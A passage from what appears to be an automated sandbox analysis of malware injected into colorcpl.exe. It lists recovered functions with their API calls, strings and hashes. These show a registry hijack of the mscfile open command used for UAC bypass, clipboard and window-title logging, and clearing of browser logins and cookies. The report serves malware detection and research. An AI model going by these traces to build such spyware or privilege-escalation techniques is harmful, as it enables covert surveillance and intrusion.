                                                                                    • RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,00000400), ref: 0282204B
                                                                                    • RegCloseKey.ADVAPI32(00000000), ref: 02822054
                                                                                    Strings
                                                                                    • http\shell\open\command, xrefs: 02822026
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseOpenQueryValue
                                                                                    • String ID: http\shell\open\command
                                                                                    • API String ID: 3677997916-1487954565
                                                                                    • Opcode ID: a4aac4b63384f87c3745386f1703299c1daceffb318c5893501891c86cbef0cb
                                                                                    • Instruction ID: f7b48ce420cd899110762c78297653aa078f598007148719f82afc34d80384d5
                                                                                    • Opcode Fuzzy Hash: a4aac4b63384f87c3745386f1703299c1daceffb318c5893501891c86cbef0cb
                                                                                    • Instruction Fuzzy Hash: ECF0C23D940168FBEB60DA95DC49EEFBBBCEB80B01F0040A5F905E2140EA755A58CBA1
                                                                                    Function 02822204 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegCreateKeyW.ADVAPI32(80000001,Software\Classes\mscfile\shell\open\command,?), ref: 0282220F
                                                                                    • RegSetValueExW.ADVAPI32(?,02879654,00000000,?,00000000,00000000,02879654,?,0281674F,02879654,C:\Windows\SysWOW64\colorcpl.exe), ref: 0282223E
                                                                                    • RegCloseKey.ADVAPI32(?,?,0281674F,02879654,C:\Windows\SysWOW64\colorcpl.exe), ref: 02822249
                                                                                    Strings
                                                                                    • Software\Classes\mscfile\shell\open\command, xrefs: 0282220D
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCreateValue
                                                                                    • String ID: Software\Classes\mscfile\shell\open\command
                                                                                    • API String ID: 1818849710-505396733
                                                                                    • Opcode ID: d1a1c376c7d35676b0e5d649bd45807190ac33cf05553020e9e43dfe6387d35f
                                                                                    • Instruction ID: f0535f95c9dabb9277e200c44bc372be6861cf18dbba6f42aed161e408ace057
                                                                                    • Opcode Fuzzy Hash: d1a1c376c7d35676b0e5d649bd45807190ac33cf05553020e9e43dfe6387d35f
                                                                                    • Instruction Fuzzy Hash: 8DF04F79440128BBCF109FA4EC09EEA776CEF44650F008555FD0AE6150E6369E24DBA1
                                                                                    Function 0281C9CE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 0281C9D9
                                                                                    • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0281CA18
                                                                                      • Part of subcall function 028433ED: _Yarn.LIBCPMT ref: 0284340C
                                                                                      • Part of subcall function 028433ED: _Yarn.LIBCPMT ref: 02843430
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0281CA3E
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                                                                                    • String ID: bad locale name
                                                                                    • API String ID: 3628047217-1405518554
                                                                                    • Opcode ID: 052a75d2de0164d068f2fdafc54b5e8e984e5fef97fd3ca77bdcea838a2b341a
                                                                                    • Instruction ID: b54ed595bbf5f7e486d5a633164c5290c872986945522977ec3730450067f1a6
                                                                                    • Opcode Fuzzy Hash: 052a75d2de0164d068f2fdafc54b5e8e984e5fef97fd3ca77bdcea838a2b341a
                                                                                    • Instruction Fuzzy Hash: 91F04F3E540608ABD728FF68E851DDAB7AE9F14711F50496DE946C24D0FF21AA08CE93
                                                                                    Function 0281AF4D Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    • Cleared browsers logins and cookies., xrefs: 0281B036
                                                                                    • [Cleared browsers logins and cookies.], xrefs: 0281B025
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Sleep
                                                                                    • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                                                                                    • API String ID: 3472027048-1236744412
                                                                                    • Opcode ID: a815f3ae030c751a9c23899603c96cb44fc28d56f2361b9456247c90a1438c47
                                                                                    • Instruction ID: efbd9cd7826ba26202c103cde508f5182e3c0ac4ebb5482f5e34acb13f37abf7
                                                                                    • Opcode Fuzzy Hash: a815f3ae030c751a9c23899603c96cb44fc28d56f2361b9456247c90a1438c47
                                                                                    • Instruction Fuzzy Hash: 4F31084E68D3806EE6197BB8D4197AE7F8B0E53648F084489E8D8C77C6DA62440CD763
                                                                                    Function 028194FF Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 81sleepCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0282A2DB: GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0282A2EB
                                                                                      • Part of subcall function 0282A2DB: GetWindowTextLengthW.USER32(00000000), ref: 0282A2F4
                                                                                      • Part of subcall function 0282A2DB: GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0282A31E
                                                                                    • Sleep.KERNEL32(000001F4), ref: 0281955A
                                                                                    • Sleep.KERNEL32(00000064), ref: 028195F5
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Window$SleepText$ForegroundLength
                                                                                    • String ID: [ $ ]
                                                                                    • API String ID: 3309952895-93608704
                                                                                    • Opcode ID: 91bebe3299ff427871cfb6398ca510ec0f7782881a6f03a97e26ad5f6ddd3589
                                                                                    • Instruction ID: 1bc499dc1898b2edf2877140c2653e586a4140521aa1957ca4e5dc218e1328ef
                                                                                    • Opcode Fuzzy Hash: 91bebe3299ff427871cfb6398ca510ec0f7782881a6f03a97e26ad5f6ddd3589
                                                                                    • Instruction Fuzzy Hash: BD21C53DA0420457C618F7BCDC2ADAE33AE9F41310F40041DE65BE75C1FFA5AA098A93
                                                                                    Function 02850F33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 0e1621aa36914d778f7b6caa3209a10ec53b786f24c77b187d795e3f95049947
                                                                                    • Instruction ID: 96c6380e8767854f8d69966dad4203a532e067dc250140c6f5791960ba9da0ac
                                                                                    • Opcode Fuzzy Hash: 0e1621aa36914d778f7b6caa3209a10ec53b786f24c77b187d795e3f95049947
                                                                                    • Instruction Fuzzy Hash: C7018BBEA0D23A7EF6202A786CC4F67260EDB453B8B210766F929E51C1EB609C504560
                                                                                    Function 02850FB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 3a85cf3489c73bc158719fdf239050ae2b59e5706aaeb4d5af2898042f53fe5b
                                                                                    • Instruction ID: cfe135d1b7d246bce519bd0e0ee700b8aee4d07b49cda4900b915e83d87e1bc5
                                                                                    • Opcode Fuzzy Hash: 3a85cf3489c73bc158719fdf239050ae2b59e5706aaeb4d5af2898042f53fe5b
                                                                                    • Instruction Fuzzy Hash: BE01A2BE549236BEA620197C6CCCE27661EEF453B83214725FD29E11D5EF288C404561
                                                                                    Function 02855A95 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,02855A3C,00000000,00000000,00000000,00000000,?,02855D68,00000006,FlsSetValue), ref: 02855AC7
                                                                                    • GetLastError.KERNEL32(?,02855A3C,00000000,00000000,00000000,00000000,?,02855D68,00000006,FlsSetValue,0286C110,0286C118,00000000,00000364,?,028557F7), ref: 02855AD3
                                                                                    • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,02855A3C,00000000,00000000,00000000,00000000,?,02855D68,00000006,FlsSetValue,0286C110,0286C118,00000000), ref: 02855AE1
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LibraryLoad$ErrorLast
                                                                                    • String ID:
                                                                                    • API String ID: 3177248105-0
                                                                                    • Opcode ID: e246e0f090eb053c7a1ba2c95843e6276679d67d1a62094dfa6ed189008c0a9e
                                                                                    • Instruction ID: 944f7f2db2d73405ecc83a21cb271f74b4f19025eebf2083b8f9e3ba72a8ea1e
                                                                                    • Opcode Fuzzy Hash: e246e0f090eb053c7a1ba2c95843e6276679d67d1a62094dfa6ed189008c0a9e
                                                                                    • Instruction Fuzzy Hash: DB01FC3EA416776BC7214979AC8CE5777ACAF05B747510920FD1AE3580E738D424C6E0
                                                                                    Function 0282A20F Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,0281983B), ref: 0282A228
                                                                                    • GetFileSize.KERNEL32(00000000,00000000), ref: 0282A23C
                                                                                    • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0282A261
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 0282A26F
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CloseCreateHandleReadSize
                                                                                    • String ID:
                                                                                    • API String ID: 3919263394-0
                                                                                    • Opcode ID: 6af7d274089db82ebeb00214fc0e897a061e54864d2fe53beecd6d0abcabe5f0
                                                                                    • Instruction ID: 1838698d0b6926a10e39efa747d77aea77df8f9ff823d2c17fdde2c398faf763
                                                                                    • Opcode Fuzzy Hash: 6af7d274089db82ebeb00214fc0e897a061e54864d2fe53beecd6d0abcabe5f0
                                                                                    • Instruction Fuzzy Hash: 62F096BD2422287FE7151A25BC89FBF379DDB86AA9F10062DF905E32C0DB264D094571
                                                                                    Function 02847603 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ___BuildCatchObject.LIBVCRUNTIME ref: 0284761A
                                                                                      • Part of subcall function 02847C52: ___AdjustPointer.LIBCMT ref: 02847C9C
                                                                                    • _UnwindNestedFrames.LIBCMT ref: 02847631
                                                                                    • ___FrameUnwindToState.LIBVCRUNTIME ref: 02847643
                                                                                    • CallCatchBlock.LIBVCRUNTIME ref: 02847667
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                                                                                    • String ID:
                                                                                    • API String ID: 2633735394-0
                                                                                    • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                                                                    • Instruction ID: b6760a1e8077529fa39ec7ea13c8713fe161f126ef5608881cc28ef45151383b
                                                                                    • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                                                                    • Instruction Fuzzy Hash: A301E93A00014DBBCF126F59CD40EEABBBAEF48754F158115F918A5120DB36E861DFA5
                                                                                    Function 0282739D Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetSystemMetrics.USER32(0000004C), ref: 028273AA
                                                                                    • GetSystemMetrics.USER32(0000004D), ref: 028273B0
                                                                                    • GetSystemMetrics.USER32(0000004E), ref: 028273B6
                                                                                    • GetSystemMetrics.USER32(0000004F), ref: 028273BC
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: MetricsSystem
                                                                                    • String ID:
                                                                                    • API String ID: 4116985748-0
                                                                                    • Opcode ID: b69017f44eb2e82202333e93e538e2d1af238749348c1a90668d099098258c1e
                                                                                    • Instruction ID: b8fa03f260961f94b5c45cd068822f2b8227b2959214e3fa847eb5c3002b9a33
                                                                                    • Opcode Fuzzy Hash: b69017f44eb2e82202333e93e538e2d1af238749348c1a90668d099098258c1e
                                                                                    • Instruction Fuzzy Hash: 6BF0A4B9F403354BD700EA798C84A2FAADA9BD4260F14043EE605C7281EEB4DC498B92
                                                                                    Function 0285015D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __startOneArgErrorHandling.LIBCMT ref: 028501ED
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorHandling__start
                                                                                    • String ID: pow
                                                                                    • API String ID: 3213639722-2276729525
                                                                                    • Opcode ID: 3984b8c2fb47818463d4d675392d9886cb057bb94c5b22e2a53e02b767737cf1
                                                                                    • Instruction ID: f3c1db60e336a452118202af87e5714e7eecd94295c8656bb050b638505e9c26
                                                                                    • Opcode Fuzzy Hash: 3984b8c2fb47818463d4d675392d9886cb057bb94c5b22e2a53e02b767737cf1
                                                                                    • Instruction Fuzzy Hash: F951B36DE441258ACB1B7718CA9437A3B94DB44744F248F59FCD9C22D9EB3484B4CE43
                                                                                    Function 0285C2F9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0285BECC: GetOEMCP.KERNEL32(00000000,?,?,0285C155,?), ref: 0285BEF7
                                                                                    • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0285C19A,?,00000000), ref: 0285C36D
                                                                                    • GetCPInfo.KERNEL32(00000000,0285C19A,?,?,?,0285C19A,?,00000000), ref: 0285C380
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CodeInfoPageValid
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 546120528-1501633358
                                                                                    • Opcode ID: c551c2d585ac99315b6264b2f64ab4b35cdbd7d0f8418bf4cf3d4d2e43c0adf2
                                                                                    • Instruction ID: 25fc3dd935c6b5f743a0ffa68fdd72b989ba670e9a2f169d592f6e9ab1e9c225
                                                                                    • Opcode Fuzzy Hash: c551c2d585ac99315b6264b2f64ab4b35cdbd7d0f8418bf4cf3d4d2e43c0adf2
                                                                                    • Instruction Fuzzy Hash: 4E51157C9007699FDB208F35C484ABABBE5EF45308F08846FD89ACB251D7349546CF91
                                                                                    Function 02852B2D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 147COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: __alloca_probe_16__freea
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 1635606685-1501633358
                                                                                    • Opcode ID: 0dac264d22da4169f00225a2a1b2563d26ffb5440245b2df7cc9a12fe3ff6d71
                                                                                    • Instruction ID: c56d27df75f040641917d930aff4375dd53b132bd0f35e98c6cf2889274a980f
                                                                                    • Opcode Fuzzy Hash: 0dac264d22da4169f00225a2a1b2563d26ffb5440245b2df7cc9a12fe3ff6d71
                                                                                    • Instruction Fuzzy Hash: E941E63DA10626EBDB25AF78CC40F6E77A6EF45714B144659EC08DB294EF34E840CB92
                                                                                    Function 0285BFA4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0285BFC9
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Info
                                                                                    • String ID: $\y+/
                                                                                    • API String ID: 1807457897-3710467729
                                                                                    • Opcode ID: dc15bbb4b08b683bc4ba88bdd42cc95eb5827dc5c1e24a74031dd9dd32e51d62
                                                                                    • Instruction ID: ab1532a7117ffcfab2018851bd1ae546d93bc102004493f71ab2fa5c7204ea7f
                                                                                    • Opcode Fuzzy Hash: dc15bbb4b08b683bc4ba88bdd42cc95eb5827dc5c1e24a74031dd9dd32e51d62
                                                                                    • Instruction Fuzzy Hash: C9410ABC50436C9BDB218E28CC84BF6BBB9DF55308F1404EEE99AC7142D2359A45CF60
                                                                                    Function 0284FA09 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0284FA50
                                                                                    • ReadFile.KERNEL32(?,?,00001000,?,00000000), ref: 0284FAD0
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileReadUnothrow_t@std@@@__ehfuncinfo$??2@
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 1834446548-1501633358
                                                                                    • Opcode ID: c70dc068083632ec65547c0b0257167b06772561648cb3ba5317242ebb72b38d
                                                                                    • Instruction ID: a55b2e143c5046f7d914d8d4bbbb716966aaf01b5794b85a5a2ce48cb7774a72
                                                                                    • Opcode Fuzzy Hash: c70dc068083632ec65547c0b0257167b06772561648cb3ba5317242ebb72b38d
                                                                                    • Instruction Fuzzy Hash: 1141C13DA0015CABDB20CE68CC90BE977A6EB59314F1481EEE649DB940DB71DA81CF51
                                                                                    Function 0281A694 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02842525: __onexit.LIBCMT ref: 0284252B
                                                                                    • __Init_thread_footer.LIBCMT ref: 0281A6E3
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Init_thread_footer__onexit
                                                                                    • String ID: [End of clipboard]$[Text copied to clipboard]
                                                                                    • API String ID: 1881088180-3686566968
                                                                                    • Opcode ID: 0623ad7f0d94d24f22aa6344522cc5081d236571ee584b42819ae40c13dafe9f
                                                                                    • Instruction ID: 809e912f72321853a01b048418997b624c5f5dcecd17ac49ca96547c124dd39c
                                                                                    • Opcode Fuzzy Hash: 0623ad7f0d94d24f22aa6344522cc5081d236571ee584b42819ae40c13dafe9f
                                                                                    • Instruction Fuzzy Hash: EA21A53D9001184BCB08FBACD8A5DEDB37EAF54310F500569D50AE72D4EF30AA4ACE96
                                                                                    Function 02857ACC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81fileCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,02857F09,02863EB5,00000000,00000000,00000000,00000000,00000000), ref: 02857B76
                                                                                    • GetLastError.KERNEL32(?,02857F09,02863EB5,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02857B9F
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorFileLastWrite
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 442123175-1501633358
                                                                                    • Opcode ID: d9b326abdd0c1752ab8e0e14153f1e9053b7e6c2ef4a814aad9f1ecd26827821
                                                                                    • Instruction ID: ee95d9b16bf57009f60f2173e1d2660e3576bc3cba70538b31841bc645b3c833
                                                                                    • Opcode Fuzzy Hash: d9b326abdd0c1752ab8e0e14153f1e9053b7e6c2ef4a814aad9f1ecd26827821
                                                                                    • Instruction Fuzzy Hash: D7317379A006299BCB24CF59DC84AD9F3FAEF48315F1084AAE919D7250E730A985CF51
                                                                                    Function 028579ED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,02857F29,02863EB5,00000000,00000000,00000000,00000000,00000000), ref: 02857A88
                                                                                    • GetLastError.KERNEL32(?,02857F29,02863EB5,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02857AB1
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorFileLastWrite
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 442123175-1501633358
                                                                                    • Opcode ID: 3d0709ff52a7e14779fc5794d4b07dc8dbda4850ab61010ed4d3cf38d26586af
                                                                                    • Instruction ID: cc3537d3cd09aea75c65e696baeed3bd771f9dc24d2f2be0c074c88452cb52c3
                                                                                    • Opcode Fuzzy Hash: 3d0709ff52a7e14779fc5794d4b07dc8dbda4850ab61010ed4d3cf38d26586af
                                                                                    • Instruction Fuzzy Hash: E221A03DA002299FCB25CF59DC84BE9F3F9EB48305F1044AAE94AD7251D730AA95CF60
                                                                                    Function 02814FD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocalTime.KERNEL32(?,028824A8,?,00000000,?,?,?,?,?,?,028246C2,?,00000001,0000004C,00000000), ref: 02815010
                                                                                      • Part of subcall function 028294DA: GetLocalTime.KERNEL32(00000000), ref: 028294F4
                                                                                    • GetLocalTime.KERNEL32(?,028824A8,?,00000000,?,?,?,?,?,?,028246C2,?,00000001,0000004C,00000000), ref: 02815067
                                                                                    Strings
                                                                                    • Connection KeepAlive | Enabled | Timeout: , xrefs: 02814FFF
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LocalTime
                                                                                    • String ID: Connection KeepAlive | Enabled | Timeout:
                                                                                    • API String ID: 481472006-507513762
                                                                                    • Opcode ID: 86e09d8df1b4140bc6c776605554496908fa292c1105baf88dc709ac1d328bff
                                                                                    • Instruction ID: 124f62221fc50c3a16fb8db75dc989e4b77bbc6de6c35539890b44dd57bd5248
                                                                                    • Opcode Fuzzy Hash: 86e09d8df1b4140bc6c776605554496908fa292c1105baf88dc709ac1d328bff
